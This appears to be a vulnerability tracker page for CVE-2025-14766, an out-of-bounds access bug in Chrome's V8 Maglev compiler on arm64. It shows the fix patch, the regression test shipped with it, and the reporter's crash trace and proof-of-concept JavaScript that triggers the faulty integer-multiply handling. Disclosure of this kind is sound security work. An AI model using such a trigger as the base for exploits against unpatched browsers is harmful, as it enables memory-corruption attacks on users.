Chrome · V8
CVE-2025-14766
OOB in V8
Overview
High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Files Changed
src/maglev/arm64/maglev-ir-arm64.cctest/mjsunit/maglev/regress-466786677.js
Patch
From e0052e7af9c98557d2e65431a9c070c7469c7b06 Mon Sep 17 00:00:00 2001
From: Victor Gomes <victorgomes@chromium.org>
Date: Tue, 09 Dec 2025 15:16:44 +0100
Subject: [PATCH] [maglev][arm64] Ensure we zero-extend in Int32Multiply
Fixed: 466786677
Change-Id: Ie75222393743a8beeb99f9382dc6d345b8f62604
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7241729
Auto-Submit: Victor Gomes <victorgomes@chromium.org>
Commit-Queue: Darius Mercadier <dmercadier@chromium.org>
Reviewed-by: Darius Mercadier <dmercadier@chromium.org>
Commit-Queue: Victor Gomes <victorgomes@chromium.org>
Cr-Commit-Position: refs/heads/main@{#104206}
---
diff --git a/src/maglev/arm64/maglev-ir-arm64.cc b/src/maglev/arm64/maglev-ir-arm64.cc
index d76c6d1..049cb75 100644
--- a/src/maglev/arm64/maglev-ir-arm64.cc
+++ b/src/maglev/arm64/maglev-ir-arm64.cc
@@ -323,7 +323,7 @@
__ Smull(out, left, right);
// Making sure that the 32-bit output is zero-extended.
- __ Move(out.W(), out.W());
+ __ Mov(out.W(), out.W());
}
void Int32MultiplyOverflownBits::SetValueLocationConstraints() {
@@ -468,7 +468,7 @@
// Making sure that the 32-bit output is zero-extended (and moving it to the
// right register if {out_alias_input} is true).
- __ Move(out, res.W());
+ __ Mov(out, res.W());
}
void Int32DivideWithOverflow::SetValueLocationConstraints() {
@@ -536,7 +536,7 @@
__ CompareAndBranch(temp, Immediate(0), ne,
__ GetDeoptLabel(this, DeoptimizeReason::kNotInt32));
- __ Move(out, res);
+ __ Mov(out, res);
}
void Int32ModulusWithOverflow::SetValueLocationConstraints() {
diff --git a/test/mjsunit/maglev/regress-466786677.js b/test/mjsunit/maglev/regress-466786677.js
new file mode 100644
index 0000000..5b58f11
--- /dev/null
+++ b/test/mjsunit/maglev/regress-466786677.js
@@ -0,0 +1,22 @@
+// Copyright 2025 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+function trigger(cond) {
+ let o = {};
+ let mul = (cond ? 1 : 0x80000000) | 0;
+ print(mul);
+ let idx = (mul * 2) | 0;
+ print(idx);
+ o[0] = 1.1;
+ if (cond) o[1] = 2.2;
+ return o[idx];
+}
+
+%PrepareFunctionForOptimization(trigger);
+trigger(true);
+trigger(false);
+%OptimizeMaglevOnNextCall(trigger);
+trigger(false);
Loading diff…
Regression Test / PoC
shipped with the fix
diff --git a/test/mjsunit/maglev/regress-466786677.js b/test/mjsunit/maglev/regress-466786677.js
new file mode 100644
index 0000000..5b58f11
--- /dev/null
+++ b/test/mjsunit/maglev/regress-466786677.js
@@ -0,0 +1,22 @@
+// Copyright 2025 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+function trigger(cond) {
+ let o = {};
+ let mul = (cond ? 1 : 0x80000000) | 0;
+ print(mul);
+ let idx = (mul * 2) | 0;
+ print(idx);
+ o[0] = 1.1;
+ if (cond) o[1] = 2.2;
+ return o[idx];
+}
+
+%PrepareFunctionForOptimization(trigger);
+trigger(true);
+trigger(false);
+%OptimizeMaglevOnNextCall(trigger);
+trigger(false);
Loading diff…
Original Bug Report
reported by fa...@gmail.com
v8 incorrect Integer Overflow Elimination leads to potential OOB R/W
Received signal 11 SEGV_ACCERR 719801064773
==== C stack trace ===============================
../v8/v8/out/arm64/d8(__interceptor_backtrace+0x46)[0x5cca99d37a66]
../v8/v8/out/arm64/d8(_ZN2v84base5debug10StackTraceC2Ev+0x13)[0x5ccaa1e105a3]
../v8/v8/out/arm64/d8(+0xc4a03b0)[0x5ccaa1e103b0]
/lib/x86_64-linux-gnu/libc.so.6(+0x45330)[0x76dd7ca45330]
../v8/v8/out/arm64/d8(v8_internal_simulator_ProbeMemory+0x0)[0x5cca9df2d888]
[end of stack trace]
Segmentation fault
VERSION
V8 version 14.5.0 (candidate)
REPRODUCTION CASE
Build: linux arm64 simulated
is_asan = true
is_debug = true
symbol_level = 2
v8_enable_backtrace = true
target_cpu = "x64"
v8_target_cpu = "arm64"
v8_enable_i18n_support = false
is_component_build = false
poc.js:
let warmup_count = 300;
for (let i = 0; i < warmup_count; i++) {
let o = {};
o[0] = i * 0.1;
o[1] = i * 0.1;
o[2] = i * 0.1;
let x = o[2];
}
function trigger(cond) {
let o = {};
let mul = (cond ? 1 : 0x80000000) | 0;
let idx = (mul * 2) | 0;
o[0] = 1.1;
if (cond) o[1] = 2.2;
return o[idx];
}
for (let i = 0; i < 300; i++) {
trigger(true);
trigger(false);
}
trigger(true);
trigger(false);
Run: ./d8 poc.js
Reporter credit: Shaheen Fazim
References
On This Page